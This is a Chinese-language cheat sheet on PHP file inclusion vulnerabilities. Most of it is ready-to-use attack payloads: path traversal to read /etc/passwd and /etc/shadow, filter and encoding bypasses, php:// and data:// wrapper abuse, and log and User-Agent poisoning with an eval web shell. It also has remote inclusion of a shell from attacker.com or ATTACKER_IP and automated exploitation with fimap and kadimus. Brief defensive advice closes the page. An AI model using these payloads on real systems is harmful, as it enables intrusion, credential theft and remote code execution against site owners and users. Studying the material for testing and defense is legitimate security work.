文件包含漏洞
漏洞概述
文件包含漏洞(File Inclusion)攻击者通过控制文件路径参数,包含本地或远程文件执行。
分类:
- LFI (Local File Inclusion) - 本地文件包含
- RFI (Remote File Inclusion) - 远程文件包含
危害等级: ⭐⭐⭐⭐⭐
漏洞原理
// 不安全代码
$file = $_GET['page'];
include($file);
// 攻击者输入
?page=/etc/passwd
?page=http://attacker.com/shell.txt漏洞检测
基础测试
# LFI 测试
?page=/etc/passwd
?page=../../../../etc/passwd
?page=..%2f..%2f..%2f..%2fetc%2fpasswd
# RFI 测试
?page=http://attacker.com/shell.txt
?page=https://attacker.com/shell.txt路径遍历
# Linux
../../../../etc/passwd
....//....//....//etc/passwd
# Windows
....\....\....\windows\win.ini
..%5c..%5c..%5cwindows\win.iniPayload 大全
LFI 读取文件
# Linux 敏感文件
/etc/passwd
/etc/shadow
/etc/hosts
/proc/version
/proc/self/environ
/proc/self/cmdline
# 日志文件
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/nginx/access.log
/var/log/auth.log
# Windows 敏感文件
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.iniLFI 执行日志
# 访问带 Payload 的 URL
curl -A "<?php @eval(\$_POST['cmd']);?>" http://target.com/
# 包含日志文件
?page=/var/log/apache/access.log
# 执行命令
?cmd=whoamiRFI 执行代码
# 创建恶意文件
echo "<?php @eval(\$_POST['cmd']);?>" > shell.txt
# 启动 HTTP 服务器
python3 -m http.server 80
# 包含远程文件
?page=http://ATTACKER_IP/shell.txt
# 执行命令
?cmd=whoami绕过技巧
过滤器绕过
// str_replace 绕过
?page=....//....//etc/passwd
// 替换 ../ 为空后变成 ../../
// 正则绕过
?page=..../....//etc/passwd
?page=..%2f..%2f..%2fetc/passwd编码绕过
# URL 编码
%2e%2e%2f%2e%2e%2fetc%2fpasswd
# 双重 URL 编码
%252e%252e%252f
# Base64 编码
php://filter/convert.base64-encode/resource=/etc/passwd
# 十六进制编码
\x2e\x2e\x2f协议利用
# php://filter
?page=php://filter/convert.base64-encode/resource=index.php
# php://input (POST 数据)
?page=php://input
POST: <?php @eval($_POST['cmd']);?>
# data:// (PHP 5+)
?page=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
# zip:// (需要上传 zip 文件)
?page=zip://uploads/shell.zip%23shell.php
# phar:// (PHP 5.3+)
?page=phar://uploads/shell.phar/shell.php
# expect:// (需要开启扩展)
?page=expect://whoami实战案例
案例 1: 基础 LFI
# 漏洞代码
include("pages/" . $_GET['page']);
# Payload
?page=../../etc/passwd案例 2: 日志文件包含
# 1. 写入 Payload 到日志
curl -H "User-Agent: <?php @eval(\$_POST['cmd']);?>" http://target.com/
# 2. 包含日志文件
?page=/var/log/apache/access.log
# 3. 执行命令
?cmd=whoami案例 3: Session 文件包含
# 1. 获取 Session ID
curl -c cookies.txt http://target.com/
# 2. 包含 Session 文件
?page=/var/lib/php/sess_<SESSION_ID>
# 3. 执行命令(需要提前在 Session 中写入)案例 4: /proc/self/environ
# 1. 访问包含 User-Agent 的页面
?page=/proc/self/environ
# 2. 修改 User-Agent 为 Payload
curl -H "User-Agent: <?php @eval(\$_POST['cmd']);?>" http://target.com/?page=/proc/self/environ
# 3. 执行命令工具检测
fimap
# 自动检测 LFI/RFI
fimap -u "http://target.com/page.php?page="
# 自动利用
fimap -u "http://target.com/page.php?page=" -A
# 扫描本地文件
fimap -m local -u "http://target.com/page.php?page="Kadimus
# LFI 扫描
kadimus -u http://target.com/page.php?page=
# 交互式 shell
kadimus -u http://target.com/page.php?page= -s防御建议
避免动态包含
// 不安全
include($_GET['page']);
// 安全 - 使用白名单
$pages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $pages)) {
include("$page.php");
} else {
die('Invalid page');
}禁用危险配置
; php.ini
allow_url_include = Off
allow_url_fopen = Off
display_errors = Off路径验证
// 验证路径
$base_dir = '/var/www/html/pages/';
$file = basename($_GET['page']);
$path = realpath($base_dir . $file);
if (strpos($path, $base_dir) === 0) {
include($path);
}禁用危险协议
// 禁用 php://filter 等
if (preg_match('/^(php|data|expect|phar):\/\//i', $input)) {
die('Invalid protocol');
}